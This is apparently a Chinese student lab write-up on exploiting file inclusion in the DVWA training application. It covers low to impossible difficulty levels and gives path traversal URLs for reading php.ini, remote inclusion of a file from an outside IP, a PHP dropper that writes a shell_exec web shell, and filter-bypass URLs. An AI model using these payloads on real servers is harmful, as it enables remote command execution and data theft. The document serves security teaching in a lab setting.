dvwa没有file1.php,文件包含漏洞-DVWA

一、进入DVWA测试系统

选择左侧File Inclusion(文件包含)菜单,内容页显示为:

4bda1f8e21088118b6ef795a77b3a0c9.png

解决方法:进入php.ini,将allow_url_include=Off修改为On即可。

f95f1e87243a88f671ddbe6677fb495c.png

二、实验步骤:

2.1 File Inclusion(Low 级别)

a) 分析文件包含漏洞测试网页

可以看到,文件包含网页上的内容显示:通过点击file1.php或者file2.php或者file3.php文件,然后通过GET请求将选中的文件内容包含并显示出来,显示效果:如点击file.php的效果图

19fc5fa89111d2410d14214a1271b516.png

进一步分析:

观察文件包含页面的URL :http://www.dvwa.com/vulnerabilities/fi/?page=include.php,将page=include.php 修改为: page=xxx.php,然后访问。

8e45bedec27856d8c462829474278e2c.png

从上图可以看出,由于动态GET请求包含了page = xxx.php这样一个不存在的文件,php解释器曝出了PHP文件包含函数include的Warnning信息,并且该信息暴露了文件的绝对路径,因此在下一步中我们将进一步利用该漏洞

b) 构造URL暴露重要信息

i)获取php.ini的信息

输入:http://www.dvwa.com/vulnerabilities/fi/?page=..\..\php.ini

效果图如下:

da46eb165f0e18bd97ce67575da7f937.png

可以看到成功读取了php.ini的重要配置信息,当然你也可以试一试读取其他的文件信息,如请读取系统下robots.txt的内容信息,从这个漏洞上可以看出能够导致重要的敏感信息泄露。请尝试探索其他重要的配置信息。

Robots.txt信息:

790d1ffc647e9424f0b1ec802eba9bc3.png

注意:a)步骤中曝出的路径为:D:\PHP\wamp64\www\website\web\DVWA\vulnerabilities\fi\index.php on line 36

因此可以判断:php.ini配置文件在wwww\website\web\DVWA目录下,而我们知道Web网站一般部署到Apache 服务器的WWW 目录下,因此可以通过从WWW文件夹开始算起:用..\来做跳转,所以构造的路径为:..\..\php.ini,可以认为第一个..\ 表示DVWA \,第二个..\表示fi\

ii)访问远程文件

php.ini设置:服务器如在php.ini中将allow_url_fopen与allow_url_include,设置为on 状态即可以使用远程文件,可以是ftp上的文件,也可是网路上其他能访问到的文件。

php.ini设置方法: W 标识 ——> PHP ——>php.ini 通过搜索 allow_url_include变量然后修改其状态,重启W服务器即可。

a)远程包含打印php版本信息的文件

将提前准备好的程序:

<?php   phpinfo();?> 保存在1.tt文件中,并将该文件放到dvwa文件夹下,并测试http://www.dvwa.com/1.tt能够正常读取源代码。(请截图显示)

然后在DVWA系统上,URL输入为:http://www.dvwa.com/vulnerabilities/fi/?page=http://www.dvwa.com/1.tt,看看效果。

acf29b0f8e3dc4a8ede8be6f62eb154a.png

b)远程写入木马文件

将提前准备好的一句话木马放到WAMP的www文件夹下,检查下是否能够通过URL访问到,http://www.dvwa.com/muma1.php?cmd=dir

5a5d310b06e09d49dbc6b9d8869dc9ba.png

然后将File Inclusion上的URL重新构造:

http://www.dvwa.com/vulnerabilities/fi/?page=http://www.dvwa.com/muma1.php?cmd=dir

这个测试相当于是将已经上传到该主机服务器上的muma1.php文件和该文件包含漏洞相结合进行的漏洞利用。

思考题:

(1)试想下假如没有木马文件在该服务器下,如何取控制呢?能否包含php程序,而这个程序正好执行的时候为写入一句话木马到服务器上?

答:远程包含php文件

(2)请尝试远程包含读取当前服务器版本信息的文件,并执行看效果?

1211080e3c23f4ddae8e98573a07ed2d.png

emm,这是我拖了2个文件在老师的服务器上,自己做实验可以拖到虚拟机上。

c)通过文件包含向服务器写入一句话木马文件

提前准备好远程的写一句话木马程序:

$file1 = fopen("shell.php","w");

fputs($file1,'<?php echo shell_exec($_GET["cmd"]);?>');

?>

文件保存为echo.tt,先保证该文件能够正常执行,上述代码的意思是,在当前Web应用的路径下创建文件名为shell.php的文件,文件内容为写入:

现在构造File Inclusion的URL,输入:

http://www.dvwa.com/vulnerabilities/fi/?page=http://100.0.101.61/echo.tt,看看效果

注意:文件后缀一定要是tt,这样才能不在远程机执行而且可以在受害机执行。

58d70d9c10b1b403db3dc4aa6eeea30a.png

2.2 File Inclusion(Medium 级别)

a)测试是否具有文件包含漏洞

URL输入:http://www.dvwa.com/vulnerabilities/fi/?page=xxx.php,请描述看到的情况并截图

8e45bedec27856d8c462829474278e2c.png

b)构造URL利用漏洞

i)获取php.ini信息

URL输入:http://www.dvwa.com/vulnerabilities/fi/?page=..\..\php.ini看看效果。

da46eb165f0e18bd97ce67575da7f937.png

其实这里我们为什么成功,是因为源码没判断这个"\"!

ii)远程包含

http://www.dvwa.com/vulnerabilities/fi/?page=http://100.0.101.61/1.tt,看看效果

38bf397aa0bb7b54f32e7107b65cf4b0.png

iii)看看源代码(代码审查下)

文件位置:安装目录\vulnerabilities\fi\source\medium.php

a212ed9414ef1cacf04fcb87dbaf4b54.png

通过实验以及源代码可以看到地址栏上直接输入../ 和 http 均会直接被replace为空,使得路径出错,致使无法达到绕过。那么如何构造URL绕过replace方法呢?

提示:是否可以使用绝对路径:如包含的本地文件为:D:\wamp\www\DVWA-master\DVWA-master\php.ini;是否可以将包含的远程连接修改为:hthttp://tp://127.0.0.1/…

绝对路径:

ac946f528c870de3db5cee071de2ed96.png

远程路径:

39c615667eb768fdada7512a59db9415.png

2.3 File Inclusion(High 级别)

a)测试是否具有文件包含漏洞

URL输入:http://www.dvwa.com/vulnerabilities/fi/?page=xxx.php,请描述看到的情况并截图

99e472d73282e123ee6398a4e7598cb4.png

从上图结果可以看出,在高级别上是做了文件过滤的,那么我们看看源代码:

文件位置:安装路径\vulnerabilities\fi\source\high.php

eae506b89f5cd2837d817b5507a11d51.png

从代码的判断语句可以看到,包含的文件如果开头不匹配file 和include.php 则会提示file not found。

现在好办了,构造URL :http://www.dvwa.com/vulnerabilities/fi/?page=file://D:/PHP/wamp64/www/WEBSITE/web/DVWA/php.ini

8f6ea9aa730ea72989dfd939ef7d4be6.png

有兴趣的可以完成远程访问的内容(加油!)

2.4 File Inclusion(Impossible 级别)

查看源代码:

6fe08dae920f1959d4d84c1baf279376.png

可以看出,在高难度级别上做了包含文件的白名单校验,那么针对这种情况,基本上是保障了文件包含的安全性,很难突破了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值